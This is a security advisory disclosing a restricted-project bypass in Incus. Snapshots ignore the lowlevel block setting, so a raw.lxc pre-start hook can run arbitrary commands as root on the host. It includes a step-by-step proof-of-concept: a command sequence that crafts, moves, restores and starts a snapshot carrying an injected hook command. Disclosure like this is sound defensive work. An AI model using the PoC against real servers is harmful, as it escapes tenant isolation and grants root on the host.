Incus has a restricted project bypass leading to arbitrary command execution

Summary

Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.

Details

Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.

As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.

In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.

PoC

 1# remote, restricted
 2incus project set rem:project restricted.true
 3incus project set rem:project restricted.containers.lowlevel=block
 4 
 5# locally, unrestricted project
 6incus init images:debian/trixie rce-raw-lxc
 7incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"'
 8incus snapshot create rce-raw-lxc snap0
 9#> allow transfer to restricted project
10incus config unset rce-raw-lxc raw.lxc
11 
12# locally, transfer and trigger
13incus move rce-raw-lxc rem: --mode push
14incus snapshot restore rem:rce-raw-lxc snap0
15incus start rem:rce-raw-lxc

Impact

• Bypass of project restrictions.
• Arbitrary command execution on the Incus server.